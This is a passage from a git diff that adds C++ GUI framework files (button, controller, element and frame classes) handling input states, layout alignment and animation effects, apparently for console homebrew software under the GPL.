parentElement->isStateSet(STATE_HIDDEN, c->chan))) + return; + + if(selectable) + { + if(c->data.validPointer && this->isInside(c->data.x, c->data.y)) + { + if(!isStateSet(STATE_OVER, c->chan)) + { + setState(STATE_OVER, c->chan); + + //if(this->isRumbleActive()) + // this->rumble(t->chan); + + if(soundOver) + soundOver->Play(); + + if(effectsOver && !effects) + { + // initiate effects + effects = effectsOver; + effectAmount = effectAmountOver; + effectTarget = effectTargetOver; + } + + pointedOn(this, c); + } + } + else if(isStateSet(STATE_OVER, c->chan)) + { + this->clearState(STATE_OVER, c->chan); + pointedOff(this, c); + + if(effectTarget == effectTargetOver && effectAmount == effectAmountOver) + { + // initiate effects (in reverse) + effects = effectsOver; + effectAmount = -effectAmountOver; + effectTarget = 100; + } + } + } + + for(int i = 0; i < iMaxGuiTriggers; i++) + { + if(!trigger[i]) + continue; + + // button triggers + if(clickable) + { + bool isClicked = trigger[i]->clicked(c); + + if( !clickedTrigger && isClicked + && (trigger[i]->isClickEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y))) + { + if(soundClick) + soundClick->Play(); + + clickedTrigger = trigger[i]; + + if(!isStateSet(STATE_CLICKED, c->chan)) + setState(STATE_CLICKED, c->chan); + + clicked(this, c, trigger[i]); + } + else if(isStateSet(STATE_CLICKED, c->chan) && (clickedTrigger == trigger[i]) && !isStateSet(STATE_HELD, c->chan) && !trigger[i]->held(c) && (!isClicked || trigger[i]->released(c))) + { + clickedTrigger = NULL; + clearState(STATE_CLICKED, c->chan); + released(this, c, trigger[i]); + } + } + + if(holdable) + { + bool isHeld = trigger[i]->held(c); + + if( (!heldTrigger || heldTrigger == trigger[i]) && isHeld + && (trigger[i]->isHoldEverywhere() || (isStateSet(STATE_SELECTED | STATE_OVER, c->chan) && trigger[i]->isSelectionClickEverywhere()) || this->isInside(c->data.x, c->data.y))) + { + heldTrigger = trigger[i]; + + if(!isStateSet(STATE_HELD, c->chan)) + setState(STATE_HELD, c->chan); + + held(this, c, trigger[i]); + } + else if(isStateSet(STATE_HELD, c->chan) && (heldTrigger == trigger[i]) && (!isHeld || trigger[i]->released(c))) + { + //! click is removed at this point and converted to held + if(clickedTrigger == trigger[i]) + { + clickedTrigger = NULL; + clearState(STATE_CLICKED, c->chan); + } + heldTrigger = NULL; + clearState(STATE_HELD, c->chan); + released(this, c, trigger[i]); + } + } + } +} diff --git a/src/gui/GuiButton.h b/src/gui/GuiButton.h new file mode 100644 index 0000000..7755812 --- /dev/null +++ b/src/gui/GuiButton.h @@ -0,0 +1,117 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef GUI_BUTTON_H_ +#define GUI_BUTTON_H_ + +#include "GuiElement.h" +#include "GuiText.h" +#include "GuiController.h" +#include "GuiImage.h" +#include "GuiSound.h" +#include "GuiTrigger.h" + +//!Display, manage, and manipulate buttons in the GUI. Buttons can have images, icons, text, and sound set (all of which are optional) +class GuiButton : public GuiElement +{ + public: + //!Constructor + //!\param w Width + //!\param h Height + GuiButton(f32 w, f32 h); + //!Destructor + virtual ~GuiButton(); + //!Sets the button's image + //!\param i Pointer to GuiImage object + void setImage(GuiImage* i); + //!Sets the button's image on over + //!\param i Pointer to GuiImage object + void setImageOver(GuiImage* i); + + void setIcon(GuiImage* i); + void setIconOver(GuiImage* i); + //!Sets the button's image on hold + //!\param i Pointer to GuiImage object + void setImageHold(GuiImage* i); + //!Sets the button's image on click + //!\param i Pointer to GuiImage object + void setImageClick(GuiImage* i); + //!Sets the button's label + //!\param t Pointer to GuiText object + //!\param n Index of label to set (optional, default is 0) + void setLabel(GuiText* t, int n = 0); + //!Sets the button's label on over (eg: different colored text) + //!\param t Pointer to GuiText object + //!\param n Index of label to set (optional, default is 0) + void setLabelOver(GuiText* t, int n = 0); + //!Sets the button's label on hold + //!\param t Pointer to GuiText object + //!\param n Index of label to set (optional, default is 0) + void setLabelHold(GuiText* t, int n = 0); + //!Sets the button's label on click + //!\param t Pointer to GuiText object + //!\param n Index of label to set (optional, default is 0) + void setLabelClick(GuiText* t, int n = 0); + //!Sets the sound to play on over + //!\param s Pointer to GuiSound object + void setSoundOver(GuiSound * s); + //!Sets the sound to play on hold + //!\param s Pointer to GuiSound object + void setSoundHold(GuiSound * s); + //!Sets the sound to play on click + //!\param s Pointer to GuiSound object + void setSoundClick(GuiSound * s); + //!Set a new GuiTrigger for the element + //!\param i Index of trigger array to set + //!\param t Pointer to GuiTrigger + void setTrigger(GuiTrigger * t, int idx = -1); + //! + void resetState(void); + //!Constantly called to draw the GuiButton + void draw(CVideo *video); + //!Constantly called to allow the GuiButton to respond to updated input data + //!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD + void update(GuiController * c); + + sigslot::signal2 selected; + sigslot::signal2 deSelected; + sigslot::signal2 pointedOn; + sigslot::signal2 pointedOff; + sigslot::signal3 clicked; + sigslot::signal3 held; + sigslot::signal3 released; + protected: + static const int iMaxGuiTriggers = 7; + + GuiImage * image; //!< Button image (default) + GuiImage * imageOver; //!< Button image for STATE_SELECTED + GuiImage * imageHold; //!< Button image for STATE_HELD + GuiImage * imageClick; //!< Button image for STATE_CLICKED + GuiImage * icon; + GuiImage * iconOver; + GuiText * label[4]; //!< Label(s) to display (default) + GuiText * labelOver[4]; //!< Label(s) to display for STATE_SELECTED + GuiText * labelHold[4]; //!< Label(s) to display for STATE_HELD + GuiText * labelClick[4]; //!< Label(s) to display for STATE_CLICKED + GuiSound * soundOver; //!< Sound to play for STATE_SELECTED + GuiSound * soundHold; //!< Sound to play for STATE_HELD + GuiSound * soundClick; //!< Sound to play for STATE_CLICKED + GuiTrigger * trigger[iMaxGuiTriggers]; //!< GuiTriggers (input actions) that this element responds to + GuiTrigger * clickedTrigger; + GuiTrigger * heldTrigger; +}; + +#endif diff --git a/src/gui/GuiController.h b/src/gui/GuiController.h new file mode 100644 index 0000000..c9cc443 --- /dev/null +++ b/src/gui/GuiController.h @@ -0,0 +1,78 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef GUI_CONTROLLER_H_ +#define GUI_CONTROLLER_H_ + +#include +#include "GuiTrigger.h" + +class GuiController +{ +public: + //!Constructor + GuiController(int channel) + : chan(channel) + { + memset(&lastData, 0, sizeof(lastData)); + memset(&data, 0, sizeof(data)); + + switch(chan) + { + default: + case GuiTrigger::CHANNEL_1: + chanIdx = 0; + break; + case GuiTrigger::CHANNEL_2: + chanIdx = 1; + break; + case GuiTrigger::CHANNEL_3: + chanIdx = 2; + break; + case GuiTrigger::CHANNEL_4: + chanIdx = 3; + break; + case GuiTrigger::CHANNEL_5: + chanIdx = 4; + break; + } + } + + //!Destructor + virtual ~GuiController() {} + + virtual bool update(int width, int height) = 0; + + typedef struct + { + unsigned int buttons_h; + unsigned int buttons_d; + unsigned int buttons_r; + bool validPointer; + bool touched; + float pointerAngle; + int x; + int y; + } PadData; + + int chan; + int chanIdx; + PadData data; + PadData lastData; + +}; + +#endif diff --git a/src/gui/GuiElement.cpp b/src/gui/GuiElement.cpp new file mode 100644 index 0000000..e1061d9 --- /dev/null +++ b/src/gui/GuiElement.cpp @@ -0,0 +1,342 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#include "GuiElement.h" + +//! TODO remove this! +static int screenwidth = 1280; +static int screenheight = 720; + +/** + * Constructor for the Object class. + */ +GuiElement::GuiElement() +{ + xoffset = 0.0f; + yoffset = 0.0f; + zoffset = 0.0f; + width = 0.0f; + height = 0.0f; + alpha = 1.0f; + scaleX = 1.0f; + scaleY = 1.0f; + scaleZ = 1.0f; + for(int i = 0; i < 4; i++) + state[i] = STATE_DEFAULT; + stateChan = -1; + parentElement = NULL; + rumble = true; + selectable = false; + clickable = false; + holdable = false; + visible = true; + yoffsetDyn = 0; + xoffsetDyn = 0; + alphaDyn = -1; + scaleDyn = 1; + effects = EFFECT_NONE; + effectAmount = 0; + effectTarget = 0; + effectsOver = EFFECT_NONE; + effectAmountOver = 0; + effectTargetOver = 0; + angle = 0.0f; + + // default alignment - align to top left + alignment = (ALIGN_CENTER | ALIGN_MIDDLE); +} + +/** + * Get the left position of the GuiElement. + * @see SetLeft() + * @return Left position in pixel. + */ +f32 GuiElement::getLeft() +{ + f32 pWidth = 0; + f32 pLeft = 0; + f32 pScaleX = 1.0f; + + if(parentElement) + { + pWidth = parentElement->getWidth(); + pLeft = parentElement->getLeft(); + pScaleX = parentElement->getScaleX(); + } + + pLeft += xoffsetDyn; + + f32 x = pLeft; + + //! TODO: the conversion from int to float and back to int is bad for performance, change that + if(alignment & ALIGN_CENTER) + { + x = pLeft + pWidth * 0.5f * pScaleX - width * 0.5f * getScaleX(); + } + else if(alignment & ALIGN_RIGHT) + { + x = pLeft + pWidth * pScaleX - width * getScaleX(); + } + + return x + xoffset; +} + +/** + * Get the top position of the GuiElement. + * @see SetTop() + * @return Top position in pixel. + */ +f32 GuiElement::getTop() +{ + f32 pHeight = 0; + f32 pTop = 0; + f32 pScaleY = 1.0f; + + if(parentElement) + { + pHeight = parentElement->getHeight(); + pTop = parentElement->getTop(); + pScaleY = parentElement->getScaleY(); + } + + pTop += yoffsetDyn; + + f32 y = pTop; + + //! TODO: the conversion from int to float and back to int is bad for performance, change that + if(alignment & ALIGN_MIDDLE) + { + y = pTop + pHeight * 0.5f * pScaleY - height * 0.5f * getScaleY(); + } + else if(alignment & ALIGN_BOTTOM) + { + y = pTop + pHeight * pScaleY - height * getScaleY(); + } + + return y + yoffset; +} + +void GuiElement::setEffect(int eff, int amount, int target) +{ + if(eff & EFFECT_SLIDE_IN) + { + // these calculations overcompensate a little + if(eff & EFFECT_SLIDE_TOP) + { + if(eff & EFFECT_SLIDE_FROM) + yoffsetDyn = (int) -getHeight()*scaleY; + else + yoffsetDyn = -screenheight; + } + else if(eff & EFFECT_SLIDE_LEFT) + { + if(eff & EFFECT_SLIDE_FROM) + xoffsetDyn = (int) -getWidth()*scaleX; + else + xoffsetDyn = -screenwidth; + } + else if(eff & EFFECT_SLIDE_BOTTOM) + { + if(eff & EFFECT_SLIDE_FROM) + yoffsetDyn = (int) getHeight()*scaleY; + else + yoffsetDyn = screenheight; + } + else if(eff & EFFECT_SLIDE_RIGHT) + { + if(eff & EFFECT_SLIDE_FROM) + xoffsetDyn = (int) getWidth()*scaleX; + else + xoffsetDyn = screenwidth; + } + } + if((eff & EFFECT_FADE) && amount > 0) + { + alphaDyn = 0; + } + else if((eff & EFFECT_FADE) && amount < 0) + { + alphaDyn = alpha; + } + effects |= eff; + effectAmount = amount; + effectTarget = target; +} + +//!Sets an effect to be enabled on wiimote cursor over +//!\param e Effect to enable +//!\param a Amount of the effect (usage varies on effect) +//!\param t Target amount of the effect (usage varies on effect) +void GuiElement::setEffectOnOver(int e, int a, int t) +{ + effectsOver |= e; + effectAmountOver = a; + effectTargetOver = t; +} + +void GuiElement::resetEffects() +{ + yoffsetDyn = 0; + xoffsetDyn = 0; + alphaDyn = -1; + scaleDyn = 1; + effects = EFFECT_NONE; + effectAmount = 0; + effectTarget = 0; + effectsOver = EFFECT_NONE; + effectAmountOver = 0; + effectTargetOver = 0; +} +void GuiElement::updateEffects() +{ + if(!this->isVisible() && parentElement) + return; + + if(effects & (EFFECT_SLIDE_IN | EFFECT_SLIDE_OUT | EFFECT_SLIDE_FROM)) + { + if(effects & EFFECT_SLIDE_IN) + { + if(effects & EFFECT_SLIDE_LEFT) + { + xoffsetDyn += effectAmount; + + if(xoffsetDyn >= 0) + { + xoffsetDyn = 0; + effects = 0; + effectFinished(this); + } + } + else if(effects & EFFECT_SLIDE_RIGHT) + { + xoffsetDyn -= effectAmount; + + if(xoffsetDyn <= 0) + { + xoffsetDyn = 0; + effects = 0; + effectFinished(this); + } + } + else if(effects & EFFECT_SLIDE_TOP) + { + yoffsetDyn += effectAmount; + + if(yoffsetDyn >= 0) + { + yoffsetDyn = 0; + effects = 0; + effectFinished(this); + } + } + else if(effects & EFFECT_SLIDE_BOTTOM) + { + yoffsetDyn -= effectAmount; + + if(yoffsetDyn <= 0) + { + yoffsetDyn = 0; + effects = 0; + effectFinished(this); + } + } + } + else + { + if(effects & EFFECT_SLIDE_LEFT) + { + xoffsetDyn -= effectAmount; + + if(xoffsetDyn <= -screenwidth) { + effects = 0; // shut off effect + effectFinished(this); + } + else if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn <= -getWidth()) { + effects = 0; // shut off effect + effectFinished(this); + } + } + else if(effects & EFFECT_SLIDE_RIGHT) + { + xoffsetDyn += effectAmount; + + if(xoffsetDyn >= screenwidth) { + effects = 0; // shut off effect + effectFinished(this); + } + else if((effects & EFFECT_SLIDE_FROM) && xoffsetDyn >= getWidth()*scaleX) { + effects = 0; // shut off effect + effectFinished(this); + } + } + else if(effects & EFFECT_SLIDE_TOP) + { + yoffsetDyn -= effectAmount; + + if(yoffsetDyn <= -screenheight) { + effects = 0; // shut off effect + effectFinished(this); + } + else if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn <= -getHeight()) { + effects = 0; // shut off effect + effectFinished(this); + } + } + else if(effects & EFFECT_SLIDE_BOTTOM) + { + yoffsetDyn += effectAmount; + + if(yoffsetDyn >= screenheight) { + effects = 0; // shut off effect + effectFinished(this); + } + else if((effects & EFFECT_SLIDE_FROM) && yoffsetDyn >= getHeight()) { + effects = 0; // shut off effect + effectFinished(this); + } + } + } + } + else if(effects & EFFECT_FADE) + { + alphaDyn += effectAmount * (1.0f / 255.0f); + + if(effectAmount < 0 && alphaDyn <= 0) + { + alphaDyn = 0; + effects = 0; // shut off effect + effectFinished(this); + } + else if(effectAmount > 0 && alphaDyn >= alpha) + { + alphaDyn = alpha; + effects = 0; // shut off effect + effectFinished(this); + } + } + else if(effects & EFFECT_SCALE) + { + scaleDyn += effectAmount * 0.01f; + + if((effectAmount < 0 && scaleDyn <= (effectTarget * 0.01f)) + || (effectAmount > 0 && scaleDyn >= (effectTarget * 0.01f))) + { + scaleDyn = effectTarget * 0.01f; + effects = 0; // shut off effect + effectFinished(this); + } + } +} diff --git a/src/gui/GuiElement.h b/src/gui/GuiElement.h new file mode 100644 index 0000000..018b2b3 --- /dev/null +++ b/src/gui/GuiElement.h @@ -0,0 +1,518 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + ****************************************************************************/ +#ifndef GUI_ELEMENT_H_ +#define GUI_ELEMENT_H_ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "sigslot.h" +#include "glm/glm.hpp" +#include "glm/gtc/matrix_transform.hpp" + +#include "dynamic_libs/gx2_types.h" +#include "resources/Resources.h" +#include "system/AsyncDeleter.h" +#include "utils/logger.h" + +enum +{ + EFFECT_NONE = 0x00, + EFFECT_SLIDE_TOP = 0x01, + EFFECT_SLIDE_BOTTOM = 0x02, + EFFECT_SLIDE_RIGHT = 0x04, + EFFECT_SLIDE_LEFT = 0x08, + EFFECT_SLIDE_IN = 0x10, + EFFECT_SLIDE_OUT = 0x20, + EFFECT_SLIDE_FROM = 0x40, + EFFECT_FADE = 0x80, + EFFECT_SCALE = 0x100, + EFFECT_COLOR_TRANSITION = 0x200 +}; + +enum +{ + ALIGN_LEFT = 0x01, + ALIGN_CENTER = 0x02, + ALIGN_RIGHT = 0x04, + ALIGN_TOP = 0x10, + ALIGN_MIDDLE = 0x20, + ALIGN_BOTTOM = 0x40, + ALIGN_TOP_LEFT = ALIGN_LEFT | ALIGN_TOP, + ALIGN_TOP_CENTER = ALIGN_CENTER | ALIGN_TOP, + ALIGN_TOP_RIGHT = ALIGN_RIGHT | ALIGN_TOP, + ALIGN_CENTERED = ALIGN_CENTER | ALIGN_MIDDLE, +}; + +//!Forward declaration +class GuiController; +class CVideo; + +//!Primary GUI class. Most other classes inherit from this class. +class GuiElement : public AsyncDeleter::Element +{ + public: + //!Constructor + GuiElement(); + //!Destructor + virtual ~GuiElement() {} + //!Set the element's parent + //!\param e Pointer to parent element + virtual void setParent(GuiElement * e) { parentElement = e; } + //!Gets the element's parent + //!\return Pointer to parent element + virtual GuiElement * getParent() { return parentElement; } + //!Gets the current leftmost coordinate of the element + //!Considers horizontal alignment, x offset, width, and parent element's GetLeft() / GetWidth() values + //!\return left coordinate + virtual f32 getLeft(); + //!Gets the current topmost coordinate of the element + //!Considers vertical alignment, y offset, height, and parent element's GetTop() / GetHeight() values + //!\return top coordinate + virtual f32 getTop(); + //!Gets the current Z coordinate of the element + //!\return Z coordinate + virtual f32 getDepth() + { + f32 zParent = 0.0f; + + if(parentElement) + zParent = parentElement->getDepth(); + + return zParent+zoffset; + } + + virtual f32 getCenterX(void) + { + f32 pCenterX = 0.0f; + + if(parentElement) + pCenterX = parentElement->getCenterX(); + + pCenterX += xoffset + xoffsetDyn; + + if(alignment & ALIGN_LEFT) + { + f32 pWidth = 0.0f; + f32 pScale = 0.0f; + + if(parentElement) + { + pWidth = parentElement->getWidth(); + pScale = parentElement->getScaleX(); + } + + pCenterX -= pWidth * 0.5f * pScale - width * 0.5f * getScaleX(); + } + else if(alignment & ALIGN_RIGHT) + { + f32 pWidth = 0.0f; + f32 pScale = 0.0f; + + if(parentElement) + { + pWidth = parentElement->getWidth(); + pScale = parentElement->getScaleX(); + } + + pCenterX += pWidth * 0.5f * pScale - width * 0.5f * getScaleX(); + } + return pCenterX; + } + + virtual f32 getCenterY(void) + { + f32 pCenterY = 0.0f; + + if(parentElement) + pCenterY = parentElement->getCenterY(); + + pCenterY += yoffset + yoffsetDyn; + + if(alignment & ALIGN_TOP) + { + f32 pHeight = 0.0f; + f32 pScale = 0.0f; + + if(parentElement) + { + pHeight = parentElement->getHeight(); + pScale = parentElement->getScaleY(); + } + + pCenterY += pHeight * 0.5f * pScale - height * 0.5f * getScaleY(); + } + else if(alignment & ALIGN_BOTTOM) + { + f32 pHeight = 0.0f; + f32 pScale = 0.0f; + + if(parentElement) + { + pHeight = parentElement->getHeight(); + pScale = parentElement->getScaleY(); + } + + pCenterY -= pHeight * 0.5f * pScale - height * 0.5f * getScaleY(); + } + return pCenterY; + } + //!Gets elements xoffset + virtual f32 getOffsetX() { return xoffset; } + //!Gets elements yoffset + virtual f32 getOffsetY() { return yoffset; } + //!Gets the current width of the element. Does not currently consider the scale + //!\return width + virtual f32 getWidth() { return width; }; + //!Gets the height of the element. Does not currently consider the scale + //!\return height + virtual f32 getHeight() { return height; } + //!Sets the size (width/height) of the element + //!\param w Width of element + //!\param h Height of element + virtual void setSize(f32 w, f32 h) + { + width = w; + height = h; + } + //!Sets the element's visibility + //!\param v Visibility (true = visible) + virtual void setVisible(bool v) + { + visible = v; + visibleChanged(this, v); + } + //!Checks whether or not the element is visible + //!\return true if visible, false otherwise + virtual bool isVisible() const { return !isStateSet(STATE_HIDDEN) && visible; }; + //!Checks whether or not the element is selectable + //!\return true if selectable, false otherwise + virtual bool isSelectable() + { + return !isStateSet(STATE_DISABLED) && selectable; + } + //!Checks whether or not the element is clickable + //!\return true if clickable, false otherwise + virtual bool isClickable() + { + return !isStateSet(STATE_DISABLED) && clickable; + } + //!Checks whether or not the element is holdable + //!\return true if holdable, false otherwise + virtual bool isHoldable() { return !isStateSet(STATE_DISABLED) && holdable; } + //!Sets whether or not the element is selectable + //!\param s Selectable + virtual void setSelectable(bool s) { selectable = s; } + //!Sets whether or not the element is clickable + //!\param c Clickable + virtual void setClickable(bool c) { clickable = c; } + //!Sets whether or not the element is holdable + //!\param c Holdable + virtual void setHoldable(bool d) { holdable = d; } + //!Sets the element's state + //!\param s State (STATE_DEFAULT, STATE_SELECTED, STATE_CLICKED, STATE_DISABLED) + //!\param c Controller channel (0-3, -1 = none) + virtual void setState(int s, int c = -1) + { + if(c >= 0 && c < 4) + { + state[c] |= s; + } + else + { + for(int i = 0; i < 4; i++) + state[i] |= s; + } + stateChan = c; + stateChanged(this, s, c); + } + virtual void clearState(int s, int c = -1) + { + if(c >= 0 && c < 4) + { + state[c] &= ~s; + } + else + { + for(int i = 0; i < 4; i++) + state[i] &= ~s; + } + stateChan = c; + stateChanged(this, s, c); + } + virtual bool isStateSet(int s, int c = -1) const + { + if(c >= 0 && c < 4) + { + return (state[c] & s) != 0; + } + else + { + for(int i = 0; i < 4; i++) + if((state[i] & s) != 0) + return true; + + return false; + } + } + //!Gets the element's current state + //!\return state + virtual int getState(int c = 0) { return state[c]; }; + //!Gets the controller channel that last changed the element's state + //!\return Channel number (0-3, -1 = no channel) + virtual int getStateChan() { return stateChan; }; + //!Resets the element's state to STATE_DEFAULT + virtual void resetState() + { + for(int i = 0; i < 4; i++) + state[i] = STATE_DEFAULT; + stateChan = -1; + } + //!Sets the element's alpha value + //!\param a alpha value + virtual void setAlpha(f32 a) { alpha = a; } + //!Gets the element's alpha value + //!Considers alpha, alphaDyn, and the parent element's getAlpha() value + //!\return alpha + virtual f32 getAlpha() + { + f32 a; + + if(alphaDyn >= 0) + a = alphaDyn; + else + a = alpha; + + if(parentElement) + a = (a * parentElement->getAlpha()); + + return a; + } + //!Sets the element's scale + //!\param s scale (1 is 100%) + virtual void setScale(float s) + { + scaleX = s; + scaleY = s; + scaleZ = s; + } + //!Sets the element's scale + //!\param s scale (1 is 100%) + virtual void setScaleX(float s) { scaleX = s; } + //!Sets the element's scale + //!\param s scale (1 is 100%) + virtual void setScaleY(float s) { scaleY = s; } + //!Sets the element's scale + //!\param s scale (1 is 100%) + virtual void setScaleZ(float s) { scaleZ = s; } + //!Gets the element's current scale + //!Considers scale, scaleDyn, and the parent element's getScale() value + virtual float getScale() + { + float s = 0.5f * (scaleX+scaleY) * scaleDyn; + + if(parentElement) + s *= parentElement->getScale(); + + return s; + } + //!Gets the element's current scale + //!Considers scale, scaleDyn, and the parent element's getScale() value + virtual float getScaleX() + { + float s = scaleX * scaleDyn; + + if(parentElement) + s *= parentElement->getScaleX(); + + return s; + } + //!Gets the element's current scale + //!Considers scale, scaleDyn, and the parent element's getScale() value + virtual float getScaleY() + { + float s = scaleY * scaleDyn; + + if(parentElement) + s *= parentElement->getScaleY(); + + return s; + } + //!Gets the element's current scale + //!Considers scale, scaleDyn, and the parent element's getScale() value + virtual float getScaleZ() + { + float s = scaleZ; + + if(parentElement) + s *= parentElement->getScaleZ(); + + return s; + } + //!Checks whether rumble was requested by the element + //!\return true is rumble was requested, false otherwise + virtual bool isRumbleActive() { return rumble; } + //!Sets whether or not the element is requesting a rumble event + //!\param r true if requesting rumble, false if not + virtual void setRumble(bool r) { rumble = r; } + //!Set an effect for the element + //!\param e Effect to enable + //!\param a Amount of the effect (usage varies on effect) + //!\param t Target amount of the effect (usage varies on effect) + virtual void setEffect(int e, int a, int t=0); + //!Sets an effect to be enabled on wiimote cursor over + //!\param e Effect to enable + //!\param a Amount of the effect (usage varies on effect) + //!\param t Target amount of the effect (usage varies on effect) + virtual void setEffectOnOver(int e, int a, int t=0); + //!Shortcut to SetEffectOnOver(EFFECT_SCALE, 4, 110) + virtual void setEffectGrow() { setEffectOnOver(EFFECT_SCALE, 4, 110); } + //!Reset all applied effects + virtual void resetEffects(); + //!Gets the current element effects + //!\return element effects + virtual int getEffect() const { return effects; } + //!\return true if element animation is on going + virtual bool isAnimated() const { return (parentElement != 0) && (getEffect() > 0); } + //!Checks whether the specified coordinates are within the element's boundaries + //!\param x X coordinate + //!\param y Y coordinate + //!\return true if contained within, false otherwise + virtual bool isInside(f32 x, f32 y) + { + return ( x > (this->getCenterX() - getScaleX() * getWidth() * 0.5f) + && x < (this->getCenterX() + getScaleX() * getWidth() * 0.5f) + && y > (this->getCenterY() - getScaleY() * getHeight() * 0.5f) + && y < (this->getCenterY() + getScaleY() * getHeight() * 0.5f)); + } + //!Sets the element's position + //!\param x X coordinate + //!\param y Y coordinate + virtual void setPosition(f32 x, f32 y) + { + xoffset = x; + yoffset = y; + } + //!Sets the element's position + //!\param x X coordinate + //!\param y Y coordinate + //!\param z Z coordinate + virtual void setPosition(f32 x, f32 y, f32 z) + { + xoffset = x; + yoffset = y; + zoffset = z; + } + //!Gets whether or not the element is in STATE_SELECTED + //!\return true if selected, false otherwise + virtual int getSelected() { return -1; } + //!Sets the element's alignment respective to its parent element + //!Bitwise ALIGN_LEFT | ALIGN_RIGHT | ALIGN_CENTRE, ALIGN_TOP, ALIGN_BOTTOM, ALIGN_MIDDLE) + //!\param align Alignment + virtual void setAlignment(int a) { alignment = a; } + //!Gets the element's alignment + virtual int getAlignment() const { return alignment; } + //!Angle of the object + virtual void setAngle(f32 a) { angle = a; } + //!Angle of the object + virtual f32 getAngle() const { f32 r_angle = angle; if(parentElement) r_angle += parentElement->getAngle(); return r_angle; } + //!Called constantly to allow the element to respond to the current input data + //!\param t Pointer to a GuiController, containing the current input data from PAD/WPAD/VPAD + virtual void update(GuiController * t) { } + //!Called constantly to redraw the element + virtual void draw(CVideo * v) { } + //!Updates the element's effects (dynamic values) + //!Called by Draw(), used for animation purposes + virtual void updateEffects(); + + typedef struct _POINT { + s32 x; + s32 y; + } POINT; + + enum + { + STATE_DEFAULT = 0, + STATE_SELECTED = 0x01, + STATE_CLICKED = 0x02, + STATE_HELD = 0x04, + STATE_OVER = 0x08, + STATE_HIDDEN = 0x10, + STATE_DISABLED = 0x80 + }; + + //! Switch pointer from control to screen position + POINT PtrToScreen(POINT p) + { + //! TODO for 3D + //POINT r = { p.x + getLeft(), p.y + getTop() }; + return p; + } + //! Switch pointer screen to control position + POINT PtrToControl(POINT p) + { + //! TODO for 3D + //POINT r = { p.x - getLeft(), p.y - getTop() }; + return p; + } + //! Signals + sigslot::signal2 visibleChanged; + sigslot::signal3 stateChanged; + sigslot::signal1 effectFinished; + protected: + bool rumble; //!< Wiimote rumble (on/off) - set to on when this element requests a rumble event + bool visible; //!< Visibility of the element. If false, Draw() is skipped + bool selectable; //!< Whether or not this element selectable (can change to SELECTED state) + bool clickable; //!< Whether or not this element is clickable (can change to CLICKED state) + bool holdable; //!< Whether or not this element is holdable (can change to HELD state) + f32 width; //!< Element width + f32 height; //!< Element height + f32 xoffset; //!< Element X offset + f32 yoffset; //!< Element Y offset + f32 zoffset; //!< Element Z offset + f32 alpha; //!< Element alpha value (0-255) + f32 angle; //!< Angle of the object (0-360) + f32 scaleX; //!< Element scale (1 = 100%) + f32 scaleY; //!< Element scale (1 = 100%) + f32 scaleZ; //!< Element scale (1 = 100%) + int alignment; //!< Horizontal element alignment, respective to parent element + int state[4]; //!< Element state (DEFAULT, SELECTED, CLICKED, DISABLED) + int stateChan; //!< Which controller channel is responsible for the last change in state + GuiElement * parentElement; //!< Parent element + + //! TODO: Move me to some Animator class + int xoffsetDyn; //!< Element X offset, dynamic (added to xoffset value for animation effects) + int yoffsetDyn; //!< Element Y offset, dynamic (added to yoffset value for animation effects) + f32 alphaDyn; //!< Element alpha, dynamic (multiplied by alpha value for blending/fading effects) + f32 scaleDyn; //!< Element scale, dynamic (multiplied by alpha value for blending/fading effects) + int effects; //!< Currently enabled effect(s). 0 when no effects are enabled + int effectAmount; //!< Effect amount. Used by different effects for different purposes + int effectTarget; //!< Effect target amount. Used by different effects for different purposes + int effectsOver; //!< Effects to enable when wiimote cursor is over this element. Copied to effects variable on over event + int effectAmountOver; //!< EffectAmount to set when wiimote cursor is over this element + int effectTargetOver; //!< EffectTarget to set when wiimote cursor is over this element +}; + +#endif diff --git a/src/gui/GuiFrame.cpp b/src/gui/GuiFrame.cpp new file mode 100644 index 0000000..22f4767 --- /dev/null +++ b/src/gui/GuiFrame.cpp @@ -0,0 +1,214 @@ +/**************************************************************************** + * Copyright (C) 2015 Dimok + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + 